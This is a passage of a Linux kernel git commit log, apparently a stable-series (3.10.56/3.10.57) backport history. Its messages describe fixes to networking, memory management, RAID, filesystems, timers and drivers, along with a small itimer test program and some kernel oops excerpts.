time error on syslog. [ 394.357639] tpacket_rcv: packet too big, clamped from 5042 to 3966. macoff=82 In this example, packet header tp_snaplen was set to 3966, and tp_len was set to 5042 (skb->len) Signed-off-by: Eric Dumazet Fixes: f6fb8f100b80 ("af-packet: TPACKET_V3 flexible buffer implementation.") Acked-by: Daniel Borkmann Acked-by: Neil Horman Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 95f4ed289284d5fb892df7a1c7df53dfa14d4093 Author: Neal Cardwell Date: Thu Aug 14 12:40:05 2014 -0400 tcp: fix tcp_release_cb() to dispatch via address family for mtu_reduced() [ Upstream commit 4fab9071950c2021d846e18351e0f46a1cffd67b ] Make sure we use the correct address-family-specific function for handling MTU reductions from within tcp_release_cb(). Previously AF_INET6 sockets were incorrectly always using the IPv6 code path when sometimes they were handling IPv4 traffic and thus had an IPv4 dst. Signed-off-by: Neal Cardwell Signed-off-by: Eric Dumazet Diagnosed-by: Willem de Bruijn Fixes: 563d34d057862 ("tcp: dont drop MTU reduction indications") Reviewed-by: Hannes Frederic Sowa Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c344a6f1543a712828e7e4af808a2a860f024a66 Author: Shmulik Ladkani Date: Thu Aug 14 15:27:20 2014 +0300 sit: Fix ipip6_tunnel_lookup device matching criteria [ Upstream commit bc8fc7b8f825ef17a0fb9e68c18ce94fa66ab337 ] As of 4fddbf5d78 ("sit: strictly restrict incoming traffic to tunnel link device"), when looking up a tunnel, tunnel's underlying interface (t->parms.link) is verified to match incoming traffic's ingress device. However the comparison was incorrectly based on skb->dev->iflink. Instead, dev->ifindex should be used, which correctly represents the interface from which the IP stack hands the ipip6 packets. This allows setting up sit tunnels bound to vlan interfaces (otherwise incoming ipip6 traffic on the vlan interface was dropped due to ipip6_tunnel_lookup match failure). Signed-off-by: Shmulik Ladkani Acked-by: Nicolas Dichtel Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2a1f342c314fc03ec39da89ebc6355ddd79b41b1 Author: Stanislaw Gruszka Date: Tue Aug 12 10:35:19 2014 +0200 myri10ge: check for DMA mapping errors [ Upstream commit 10545937e866ccdbb7ab583031dbdcc6b14e4eb4 ] On IOMMU systems DMA mapping can fail, we need to check for that possibility. Signed-off-by: Stanislaw Gruszka Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e9531d2e968c302d4d2c74332692a32300fd24d0 Author: Greg Kroah-Hartman Date: Thu Oct 9 12:18:54 2014 -0700 Linux 3.10.57 Signed-off-by: Pranav Vashi commit 1f59bd93a1621c400f24eb938479ef72bf908f7e Author: Lars Ellenberg Date: Wed Jul 9 21:18:32 2014 +0200 drbd: fix regression 'out of mem, failed to invoke fence-peer helper' commit bbc1c5e8ad6dfebf9d13b8a4ccdf66c92913eac9 upstream. Since linux kernel 3.13, kthread_run() internally uses wait_for_completion_killable(). We sometimes may use kthread_run() while we still have a signal pending, which we used to kick our threads out of potentially blocking network functions, causing kthread_run() to mistake that as a new fatal signal and fail. Fix: flush_signals() before kthread_run(). Signed-off-by: Philipp Reisner Signed-off-by: Lars Ellenberg Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9a240c473cd9f0305d6bb0594a402b598a3ca550 Author: Andrew Hunter Date: Thu Sep 4 14:17:16 2014 -0700 jiffies: Fix timeval conversion to jiffies commit d78c9300c51d6ceed9f6d078d4e9366f259de28c upstream. timeval_to_jiffies tried to round a timeval up to an integral number of jiffies, but the logic for doing so was incorrect: intervals corresponding to exactly N jiffies would become N+1. This manifested itself particularly repeatedly stopping/starting an itimer: setitimer(ITIMER_PROF, &val, NULL); setitimer(ITIMER_PROF, NULL, &val); would add a full tick to val, _even if it was exactly representable in terms of jiffies_ (say, the result of a previous rounding.) Doing this repeatedly would cause unbounded growth in val. So fix the math. Here's what was wrong with the conversion: we essentially computed (eliding seconds) jiffies = usec * (NSEC_PER_USEC/TICK_NSEC) by using scaling arithmetic, which took the best approximation of NSEC_PER_USEC/TICK_NSEC with denominator of 2^USEC_JIFFIE_SC = x/(2^USEC_JIFFIE_SC), and computed: jiffies = (usec * x) >> USEC_JIFFIE_SC and rounded this calculation up in the intermediate form (since we can't necessarily exactly represent TICK_NSEC in usec.) But the scaling arithmetic is a (very slight) *over*approximation of the true value; that is, instead of dividing by (1 usec/ 1 jiffie), we effectively divided by (1 usec/1 jiffie)-epsilon (rounding down). This would normally be fine, but we want to round timeouts up, and we did so by adding 2^USEC_JIFFIE_SC - 1 before the shift; this would be fine if our division was exact, but dividing this by the slightly smaller factor was equivalent to adding just _over_ 1 to the final result (instead of just _under_ 1, as desired.) In particular, with HZ=1000, we consistently computed that 10000 usec was 11 jiffies; the same was true for any exact multiple of TICK_NSEC. We could possibly still round in the intermediate form, adding something less than 2^USEC_JIFFIE_SC - 1, but easier still is to convert usec->nsec, round in nanoseconds, and then convert using time*spec*_to_jiffies. This adds one constant multiplication, and is not observably slower in microbenchmarks on recent x86 hardware. Tested: the following program: int main() { struct itimerval zero = {{0, 0}, {0, 0}}; /* Initially set to 10 ms. */ struct itimerval initial = zero; initial.it_interval.tv_usec = 10000; setitimer(ITIMER_PROF, &initial, NULL); /* Save and restore several times. */ for (size_t i = 0; i < 10; ++i) { struct itimerval prev; setitimer(ITIMER_PROF, &zero, &prev); /* on old kernels, this goes up by TICK_USEC every iteration */ printf("previous value: %ld %ld %ld %ld\n", prev.it_interval.tv_sec, prev.it_interval.tv_usec, prev.it_value.tv_sec, prev.it_value.tv_usec); setitimer(ITIMER_PROF, &prev, NULL); } return 0; } Cc: Thomas Gleixner Cc: Ingo Molnar Cc: Paul Turner Cc: Richard Cochran Cc: Prarit Bhargava Reviewed-by: Paul Turner Reported-by: Aaron Jacobs Signed-off-by: Andrew Hunter [jstultz: Tweaked to apply to 3.17-rc] Signed-off-by: John Stultz [bwh: Backported to 3.16: adjust filename] Signed-off-by: Ben Hutchings Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a3c245b68143f1adab56be15b8d569f089f73690 Author: NeilBrown Date: Thu Oct 2 13:45:00 2014 +1000 md/raid5: disable 'DISCARD' by default due to safety concerns. commit 8e0e99ba64c7ba46133a7c8a3e3f7de01f23bd93 upstream. It has come to my attention (thanks Martin) that 'discard_zeroes_data' is only a hint. Some devices in some cases don't do what it says on the label. The use of DISCARD in RAID5 depends on reads from discarded regions being predictably zero. If a write to a previously discarded region performs a read-modify-write cycle it assumes that the parity block was consistent with the data blocks. If all were zero, this would be the case. If some are and some aren't this would not be the case. This could lead to data corruption after a device failure when data needs to be reconstructed from the parity. As we cannot trust 'discard_zeroes_data', ignore it by default and so disallow DISCARD on all raid4/5/6 arrays. As many devices are trustworthy, and as there are benefits to using DISCARD, add a module parameter to over-ride this caution and cause DISCARD to work if discard_zeroes_data is set. If a site want to enable DISCARD on some arrays but not on others they should select DISCARD support at the filesystem level, and set the raid456 module parameter. raid456.devices_handle_discard_safely=Y As this is a data-safety issue, I believe this patch is suitable for -stable. DISCARD support for RAID456 was added in 3.7 Cc: Shaohua Li Cc: "Martin K. Petersen" Cc: Mike Snitzer Cc: Heinz Mauelshagen Acked-by: Martin K. Petersen Acked-by: Mike Snitzer Fixes: 620125f2bf8ff0c4969b79653b54d7bcc9d40637 Signed-off-by: NeilBrown [bwh: Backported to 3.10: adjust context] Signed-off-by: Ben Hutchings Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2b928d05041619f1980a1f0d6457614bb57d54ba Author: Hans Verkuil Date: Sat Sep 20 16:16:35 2014 -0300 media: vb2: fix VBI/poll regression commit 58d75f4b1ce26324b4d809b18f94819843a98731 upstream. The recent conversion of saa7134 to vb2 unconvered a poll() bug that broke the teletext applications alevt and mtt. These applications expect that calling poll() without having called VIDIOC_STREAMON will cause poll() to return POLLERR. That did not happen in vb2. This patch fixes that behavior. It also fixes what should happen when poll() is called when STREAMON is called but no buffers have been queued. In that case poll() will also return POLLERR, but only for capture queues since output queues will always return POLLOUT anyway in that situation. This brings the vb2 behavior in line with the old videobuf behavior. Signed-off-by: Hans Verkuil Acked-by: Laurent Pinchart Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 73f64e2d02c932d4e6211df88cf13d048e6b69f9 Author: Mel Gorman Date: Thu Oct 2 19:47:42 2014 +0100 mm: numa: Do not mark PTEs pte_numa when splitting huge pages commit abc40bd2eeb77eb7c2effcaf63154aad929a1d5f upstream. This patch reverts 1ba6e0b50b ("mm: numa: split_huge_page: transfer the NUMA type from the pmd to the pte"). If a huge page is being split due a protection change and the tail will be in a PROT_NONE vma then NUMA hinting PTEs are temporarily created in the protected VMA. VM_RW|VM_PROTNONE |-----------------| ^ split here In the specific case above, it should get fixed up by change_pte_range() but there is a window of opportunity for weirdness to happen. Similarly, if a huge page is shrunk and split during a protection update but before pmd_numa is cleared then a pte_numa can be left behind. Instead of adding complexity trying to deal with the case, this patch will not mark PTEs NUMA when splitting a huge page. NUMA hinting faults will not be triggered which is marginal in comparison to the complexity in dealing with the corner cases during THP split. Signed-off-by: Mel Gorman Acked-by: Rik van Riel Acked-by: Kirill A. Shutemov Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9e6687717c4fd7224f63c998527a5292b22cddaf Author: Waiman Long Date: Wed Aug 6 16:05:36 2014 -0700 mm, thp: move invariant bug check out of loop in __split_huge_page_map commit f8303c2582b889351e261ff18c4d8eb197a77db2 upstream. In __split_huge_page_map(), the check for page_mapcount(page) is invariant within the for loop. Because of the fact that the macro is implemented using atomic_read(), the redundant check cannot be optimized away by the compiler leading to unnecessary read to the page structure. This patch moves the invariant bug check out of the loop so that it will be done only once. On a 3.16-rc1 based kernel, the execution time of a microbenchmark that broke up 1000 transparent huge pages using munmap() had an execution time of 38,245us and 38,548us with and without the patch respectively. The performance gain is about 1%. Signed-off-by: Waiman Long Acked-by: Kirill A. Shutemov Cc: Andrea Arcangeli Cc: Mel Gorman Cc: Rik van Riel Cc: Scott J Norton Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6e8d70f6c94be3036a40f26b766c429d62968d22 Author: Steven Rostedt (Red Hat) Date: Thu Oct 2 16:51:18 2014 -0400 ring-buffer: Fix infinite spin in reading buffer commit 24607f114fd14f2f37e3e0cb3d47bce96e81e848 upstream. Commit 651e22f2701b "ring-buffer: Always reset iterator to reader page" fixed one bug but in the process caused another one. The reset is to update the header page, but that fix also changed the way the cached reads were updated. The cache reads are used to test if an iterator needs to be updated or not. A ring buffer iterator, when created, disables writes to the ring buffer but does not stop other readers or consuming reads from happening. Although all readers are synchronized via a lock, they are only synchronized when in the ring buffer functions. Those functions may be called by any number of readers. The iterator continues down when its not interrupted by a consuming reader. If a consuming read occurs, the iterator starts from the beginning of the buffer. The way the iterator sees that a consuming read has happened since its last read is by checking the reader "cache". The cache holds the last counts of the read and the reader page itself. Commit 651e22f2701b changed what was saved by the cache_read when the rb_iter_reset() occurred, making the iterator never match the cache. Then if the iterator calls rb_iter_reset(), it will go into an infinite loop by checking if the cache doesn't match, doing the reset and retrying, just to see that the cache still doesn't match! Which should never happen as the reset is suppose to set the cache to the current value and there's locks that keep a consuming reader from having access to the data. Fixes: 651e22f2701b "ring-buffer: Always reset iterator to reader page" Signed-off-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 976007b4d313e4dfceebeed279406e37a2f5e6f7 Author: Josh Triplett Date: Fri Oct 3 16:19:24 2014 -0700 init/Kconfig: Fix HAVE_FUTEX_CMPXCHG to not break up the EXPERT menu commit 62b4d2041117f35ab2409c9f5c4b8d3dc8e59d0f upstream. commit 03b8c7b623c80af264c4c8d6111e5c6289933666 ("futex: Allow architectures to skip futex_atomic_cmpxchg_inatomic() test") added the HAVE_FUTEX_CMPXCHG symbol right below FUTEX. This placed it right in the middle of the options for the EXPERT menu. However, HAVE_FUTEX_CMPXCHG does not depend on EXPERT or FUTEX, so Kconfig stops placing items in the EXPERT menu, and displays the remaining several EXPERT items (starting with EPOLL) directly in the General Setup menu. Since both users of HAVE_FUTEX_CMPXCHG only select it "if FUTEX", make HAVE_FUTEX_CMPXCHG itself depend on FUTEX. With this change, the subsequent items display as part of the EXPERT menu again; the EMBEDDED menu now appears as the next top-level item in the General Setup menu, which makes General Setup much shorter and more usable. Signed-off-by: Josh Triplett Acked-by: Randy Dunlap Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 220a954e13e7a1c7c477ffa1a85db641721cd1f4 Author: Peter Zijlstra Date: Thu Oct 2 16:17:02 2014 -0700 perf: fix perf bug in fork() commit 6c72e3501d0d62fc064d3680e5234f3463ec5a86 upstream. Oleg noticed that a cleanup by Sylvain actually uncovered a bug; by calling perf_event_free_task() when failing sched_fork() we will not yet have done the memset() on ->perf_event_ctxp[] and will therefore try and 'free' the inherited contexts, which are still in use by the parent process. This is bad.. Suggested-by: Oleg Nesterov Reported-by: Oleg Nesterov Reported-by: Sylvain 'ythier' Hitier Signed-off-by: Peter Zijlstra (Intel) Cc: Ingo Molnar Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c49832e2f040fcb942aefab55df8ddb0d86eaeb0 Author: Jan Kara Date: Thu Sep 4 14:06:55 2014 +0200 udf: Avoid infinite loop when processing indirect ICBs commit c03aa9f6e1f938618e6db2e23afef0574efeeb65 upstream. We did not implement any bound on number of indirect ICBs we follow when loading inode. Thus corrupted medium could cause kernel to go into an infinite loop, possibly causing a stack overflow. Fix the possible stack overflow by removing recursion from __udf_read_inode() and limit number of indirect ICBs we follow to avoid infinite loops. Signed-off-by: Jan Kara Cc: Chuck Ebbert Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7080710b34dc255b0d35f87f0e1c4ac5abfb4d24 Author: Greg Kroah-Hartman Date: Sun Oct 5 14:54:30 2014 -0700 Linux 3.10.56 Signed-off-by: Pranav Vashi commit b7f093c89b5370cc1d9929f0aad5a02ac54252e0 Author: Oleg Nesterov Date: Fri Aug 8 14:19:17 2014 -0700 vm_is_stack: use for_each_thread() rather then buggy while_each_thread() commit 4449a51a7c281602d3a385044ab928322a122a02 upstream. Aleksei hit the soft lockup during reading /proc/PID/smaps. David investigated the problem and suggested the right fix. while_each_thread() is racy and should die, this patch updates vm_is_stack(). Signed-off-by: Oleg Nesterov Reported-by: Aleksei Besogonov Tested-by: Aleksei Besogonov Suggested-by: David Rientjes Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Cc: Li Zefan Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8f70132774a5da9cee1af7a38483231b052bfc93 Author: Oleg Nesterov Date: Tue Jan 21 15:50:01 2014 -0800 oom_kill: add rcu_read_lock() into find_lock_task_mm() commit 4d4048be8a93769350efa31d2482a038b7de73d0 upstream. find_lock_task_mm() expects it is called under rcu or tasklist lock, but it seems that at least oom_unkillable_task()->task_in_mem_cgroup() and mem_cgroup_out_of_memory()->oom_badness() can call it lockless. Perhaps we could fix the callers, but this patch simply adds rcu lock into find_lock_task_mm(). This also allows to simplify a bit one of its callers, oom_kill_process(). Signed-off-by: Oleg Nesterov Cc: Sergey Dyasly Cc: Sameer Nanda Cc: "Eric W. Biederman" Cc: Frederic Weisbecker Cc: Mandeep Singh Baines Cc: "Ma, Xindong" Reviewed-by: Michal Hocko Cc: "Tu, Xiaobing" Acked-by: David Rientjes Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Cc: Li Zefan Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 86f0c3135615f23a0cc2c654fdfa2e7a65680869 Author: Oleg Nesterov Date: Tue Jan 21 15:50:00 2014 -0800 oom_kill: has_intersects_mems_allowed() needs rcu_read_lock() commit ad96244179fbd55b40c00f10f399bc04739b8e1f upstream. At least out_of_memory() calls has_intersects_mems_allowed() without even rcu_read_lock(), this is obviously buggy. Add the necessary rcu_read_lock(). This means that we can not simply return from the loop, we need "bool ret" and "break". While at it, swap the names of task_struct's (the argument and the local). This cleans up the code a little bit and avoids the unnecessary initialization. Signed-off-by: Oleg Nesterov Reviewed-by: Sergey Dyasly Tested-by: Sergey Dyasly Reviewed-by: Sameer Nanda Cc: "Eric W. Biederman" Cc: Frederic Weisbecker Cc: Mandeep Singh Baines Cc: "Ma, Xindong" Reviewed-by: Michal Hocko Cc: "Tu, Xiaobing" Acked-by: David Rientjes Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Cc: Li Zefan Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6da21dd7aa60eba0086248f3bce71ef904a5c155 Author: Oleg Nesterov Date: Tue Jan 21 15:49:58 2014 -0800 oom_kill: change oom_kill.c to use for_each_thread() commit 1da4db0cd5c8a31d4468ec906b413e75e604b465 upstream. Change oom_kill.c to use for_each_thread() rather than the racy while_each_thread() which can loop forever if we race with exit. Note also that most users were buggy even if while_each_thread() was fine, the task can exit even _before_ rcu_read_lock(). Fortunately the new for_each_thread() only requires the stable task_struct, so this change fixes both problems. Signed-off-by: Oleg Nesterov Reviewed-by: Sergey Dyasly Tested-by: Sergey Dyasly Reviewed-by: Sameer Nanda Cc: "Eric W. Biederman" Cc: Frederic Weisbecker Cc: Mandeep Singh Baines Cc: "Ma, Xindong" Reviewed-by: Michal Hocko Cc: "Tu, Xiaobing" Acked-by: David Rientjes Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Cc: Li Zefan Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a810772224365826b7a51cc054194e4f505c150c Author: Oleg Nesterov Date: Wed Jul 3 15:08:30 2013 -0700 kernel/fork.c:copy_process(): unify CLONE_THREAD-or-thread_group_leader code commit 80628ca06c5d42929de6bc22c0a41589a834d151 upstream. Cleanup and preparation for the next changes. Move the "if (clone_flags & CLONE_THREAD)" code down under "if (likely(p->pid))" and turn it into into the "else" branch. This makes the process/thread initialization more symmetrical and removes one check. Signed-off-by: Oleg Nesterov Cc: "Eric W. Biederman" Cc: Michal Hocko Cc: Pavel Emelyanov Cc: Sergey Dyasly Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Cc: Li Zefan Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6dee1804e732732043e29c98a6aea71f209516cf Author: Soren Brinkmann Date: Wed Jun 19 10:53:03 2013 -0700 arm: multi_v7_defconfig: Enable Zynq UART driver commit 90de827b9c238f8d8209bc7adc70190575514315 upstream. Signed-off-by: Soren Brinkmann Signed-off-by: Michal Simek Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 612842c4d75e3e4fde9a69cd57593e5ec3ed1256 Author: Jan Kara Date: Tue Nov 5 01:15:38 2013 +0100 ext2: Fix fs corruption in ext2_get_xip_mem() commit 7ba3ec5749ddb61f79f7be17b5fd7720eebc52de upstream. Commit 8e3dffc651cb "Ext2: mark inode dirty after the function dquot_free_block_nodirty is called" unveiled a bug in __ext2_get_block() called from ext2_get_xip_mem(). That function called ext2_get_block() mistakenly asking it to map 0 blocks while 1 was intended. Before the above mentioned commit things worked out fine by luck but after that commit we started returning that we allocated 0 blocks while we in fact allocated 1 block and thus allocation was looping until all blocks in the filesystem were exhausted. Fix the problem by properly asking for one block and also add assertion in ext2_get_blocks() to catch similar problems. Reported-and-tested-by: Andiry Xu Signed-off-by: Jan Kara Cc: Wang Nan Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a0227850059c323cb0aa1f1855fa2387a687f854 Author: Heikki Krogerus Date: Mon Apr 28 15:59:56 2014 +0300 serial: 8250_dma: check the result of TX buffer mapping commit d4089a332883ad969700aac5dd4dd5f1c4fee825 upstream. Using dma_mapping_error() to make sure the mapping did not fail. Signed-off-by: Heikki Krogerus Cc: "Petallo, MauriceX R" Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6da7527bbdc1ea2a22dc23c4a27ff048352d62f9 Author: Will Deacon Date: Wed Jun 5 11:25:13 2013 +0100 ARM: 7748/1: oabi: handle faults when loading swi instruction from userspace commit 1aa2b3b7a6c4f3dbd3671171113a20e6a6190e3b upstream. Running an OABI_COMPAT kernel on an SMP platform can lead to fun and games with page aging. If one CPU issues a swi instruction immediately before another CPU decides to mkold the page containing the swi instruction, then we will fault attempting to load the instruction during the vector_swi handler in order to retrieve its immediate field. Since this fault is not currently dealt with by our exception tables, this results in a panic: Unable to handle kernel paging request at virtual address 4020841c pgd = c490c000 [4020841c] *pgd=84451831, *pte=bf05859d, *ppte=00000000 Internal error: Oops: 17 [#1] PREEMPT SMP ARM Modules linked in: hid_sony(O) CPU: 1 Tainted: G W O (3.4.0-perf-gf496dca-01162-gcbcc62b #1) PC is at vector_swi+0x28/0x88 LR is at 0x40208420 This patch wraps all of the swi instruction loads with the USER macro and provides a shared exception table entry which simply rewinds the saved user PC and returns from the system call (without setting tbl, so there's no worries with tracing or syscall restarting). Returning to userspace will re-enter the page fault handler, from where we will probably send SIGSEGV to the current task. Reported-by: Wang, Yalin Reviewed-by: Nicolas Pitre Signed-off-by: Will Deacon Signed-off-by: Russell King Cc: Sheng Yong Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d9dc0ffe245307ae35723f3a83f9f0dec83022a0 Author: Florian Westphal Date: Thu Jun 13 17:31:28 2013 +0200 netfilter: nf_conntrack: avoid large timeout for mid-stream pickup commit 6547a221871f139cc56328a38105d47c14874cbe upstream. When loose tracking is enabled (default), non-syn packets cause creation of new conntracks in established state with default timeout for established state (5 days). This causes the table to fill up with UNREPLIED when the 'new ack' packet happened to be the last-ack of a previous, already timed-out connection. Consider: A 192.168.x.52792 > 10.184.y.80: F, 426:426(0) ack 9237 win 255 B 10.184.y.80 > 192.168.x.52792: ., ack 427 win 123 <61 second pause> C 10.184.y.80 > 192.168.x.52792: F, 9237:9237(0) ack 427 win 123 D 192.168.x.52792 > 10.184.y.80: ., ack 9238 win 255 B moves conntrack to CLOSE_WAIT and will kill it after 60 second timeout, C is ignored (FIN set), but last packet (D) causes new ct with 5-days timeout. Use UNACK timeout (5 minutes) instead to get rid of these entries sooner when in ESTABLISHED state without having seen traffic in both directions. Signed-off-by: Florian Westphal Acked-by: Jozsef Kadlecsik Signed-off-by: Pablo Neira Ayuso Cc: Florian Koch Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9d99466e10c435a6d567df3a2c20c2c41c666e7b Author: Rafael J. Wysocki Date: Mon May 26 13:40:53 2014 +0200 PM / sleep: Use valid_state() for platform-dependent sleep states only commit 43e8317b0bba1d6eb85f38a4a233d82d7c20d732 upstream. Use the observation that, for platform-dependent sleep states (PM_SUSPEND_STANDBY, PM_SUSPEND_MEM), a given state is either always supported or always unsupported and store that information in pm_states[] instead of calling valid_state() every time we need to check it. Also do not use valid_state() for PM_SUSPEND_FREEZE, which is always valid, and move the pm_test_level validity check for PM_SUSPEND_FREEZE directly into enter_state(). Signed-off-by: Rafael J. Wysocki Cc: Brian Norris Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 84c863de03d6aef3c829e712b210ddbefb5b6b8d Author: Rafael J. Wysocki Date: Mon May 26 13:40:47 2014 +0200 PM / sleep: Add state field to pm_states[] entries commit 27ddcc6596e50cb8f03d2e83248897667811d8f6 upstream. To allow sleep states corresponding to the "mem", "standby" and "freeze" lables to be different from the pm_states[] indexes of those strings, introduce struct pm_sleep_state, consisting of a string label and a state number, and turn pm_states[] into an array of objects of that type. This modification should not lead to any functional changes. Signed-off-by: Rafael J. Wysocki Cc: Brian Norris Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7a88e7fe5291b18c89c9cf8619dbf1d2f026141f Author: Julian Anastasov Date: Fri Aug 22 17:53:41 2014 +0300 ipvs: fix ipv6 hook registration for local replies commit eb90b0c734ad793d5f5bf230a9e9a4dcc48df8aa upstream. commit fc604767613b6d2036cdc35b660bc39451040a47 ("ipvs: changes for local real server") from 2.6.37 introduced DNAT support to local real server but the IPv6 LOCAL_OUT handler ip_vs_local_reply6() is registered incorrectly as IPv4 hook causing any outgoing IPv4 traffic to be dropped depending on the IP header values. Chris tracked down the problem to CONFIG_IP_VS_IPV6=y Bug report: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1349768 Reported-by: Chris J Arges Tested-by: Chris J Arges Signed-off-by: Julian Anastasov Signed-off-by: Simon Horman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9ec0c285f14551d61c1c1567fef77f4aaa867b87 Author: Alex Gartrell Date: Wed Jul 16 15:57:34 2014 -0700 ipvs: Maintain all DSCP and ECN bits for ipv6 tun forwarding commit 76f084bc10004b3050b2cff9cfac29148f1f6088 upstream. Previously, only the four high bits of the tclass were maintained in the ipv6 case. This matches the behavior of ipv4, though whether or not we should reflect ECN bits may be up for debate. Signed-off-by: Alex Gartrell Acked-by: Julian Anastasov Signed-off-by: Simon Horman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f41e416e3b30d3786445e6d17e5560cd1203289a Author: Julian Anastasov Date: Thu Jul 10 09:24:01 2014 +0300 ipvs: avoid netns exit crash on ip_vs_conn_drop_conntrack commit 2627b7e15c5064ddd5e578e4efd948d48d531a3f upstream. commit 8f4e0a18682d91 ("IPVS netns exit causes crash in conntrack") added second ip_vs_conn_drop_conntrack call instead of just adding the needed check. As result, the first call still can cause crash on netns exit. Remove it. Signed-off-by: Julian Anastasov Signed-off-by: Hans Schillstrom Signed-off-by: Simon Horman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a7a5eb38addde9db34c64b6b3e8ec72f315965aa Author: NeilBrown Date: Thu Sep 18 11:09:04 2014 +1000 md/raid1: fix_read_error should act on all non-faulty devices. commit b8cb6b4c121e1bf1963c16ed69e7adcb1bc301cd upstream. If a devices is being recovered it is not InSync and is not Faulty. If a read error is experienced on that device, fix_read_error() will be called, but it ignores non-InSync devices. So it will neither fix the error nor fail the device. It is incorrect that fix_read_error() ignores non-InSync devices. It should only ignore Faulty devices. So fix it. This became a bug when we allowed reading from a device that was being recovered. It is suitable for any subsequent -stable kernel. Fixes: da8840a747c0dbf49506ec906757a6b87b9741e9 Reported-by: Alexander Lyakas Tested-by: Alexander Lyakas Signed-off-by: NeilBrown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 77701a1bb35d288330536e280a6efd7915f8e9e6 Author: Hans Verkuil Date: Tue Aug 26 02:59:53 2014 -0300 media: cx18: fix kernel oops with tda8290 tuner commit 6a03dc92cc2edfa2257502557b9f714893987383 upstream. This was caused by an uninitialized setup.config field. Based on a suggestion from Devin Heitmueller. Signed-off-by: Hans Verkuil Thanks-to: Devin Heitmueller Reported-by: Scott Robinson Tested-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0538a841d3917a5a0148546910f1860e02233b93 Author: Anton Altaparmakov Date: Mon Sep 22 01:53:03 2014 +0100 Fix nasty 32-bit overflow bug in buffer i/o code. commit f2d5a94436cc7cc0221b9a81bba2276a25187dd3 upstream. On 32-bit architectures, the legacy buffer_head functions are not always handling the sector number with the proper 64-bit types, and will thus fail on 4TB+ disks. Any code that uses __getblk() (and thus bread(), breadahead(), sb_bread(), sb_breadahead(), sb_getblk()), and calls it using a 64-bit block on a 32-bit arch (where "long" is 32-bit) causes an inifinite loop in __getblk_slow() with an infinite stream of errors logged to dmesg like this: __find_get_block_slow() failed. block=6740375944, b_blocknr=2445408648 b_state=0x00000020, b_size=512 device sda1 blocksize: 512 Note how in hex block is 0x191C1F988 and b_blocknr is 0x91C1F988 i.e. the top 32-bits are missing (in this case the 0x1 at the top). This is because grow_dev_page() is broken and has a 32-bit overflow due to shifting the page index value (a pgoff_t - which is just 32 bits on 32-bit architectures) left-shifted as the block number. But the top bits to get lost as the pgoff_t is not type cast to sector_t / 64-bit before the shift. This patch fixes this issue by type casting "index" to sector_t before doing the left shift. Note this is not a theoretical bug but has been seen in the field on a 4TiB hard drive with logical sector size 512 bytes. This patch has been verified to fix the infinite loop problem on 3.17-rc5 kernel using a 4TB disk image mounted using "-o loop". Without this patch doing a "find /nt" where /nt is an NTFS volume causes the inifinite loop 100% reproducibly whilst with the patch it works fine as expected. Signed-off-by: Anton Altaparmakov Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 483209c0bd6418602ab6b57e515b86713cdf36e3 Author: Jiri Olsa Date: Thu Sep 12 18:39:36 2013 +0200 perf kmem: Make it work again on non NUMA machines commit 4921e320244e099bdf237fd10428594ce5f5b87d upstream. The commit '2814eb0 perf kmem: Remove die() calls' disabled 'perf kmem' command for machines without numa support. It made the command fail if '/sys/devices/system/node' dir wasn't found. Skipping the numa based initialization in case the directory is not found and continue execution. Signed-off-by: Jiri Olsa Cc: Corey Ashford Cc: Frederic Weisbecker Cc: Namhyung Kim Cc: Paul Mackerras Cc: Peter Zijlstra Link: http://lkml.kernel.org/r/1379003976-5839-5-git-send-email-jolsa@redhat.com Signed-off-by: Arnaldo Carvalho de Melo Cc: zhangzhiqiang Signed-off-by: Greg 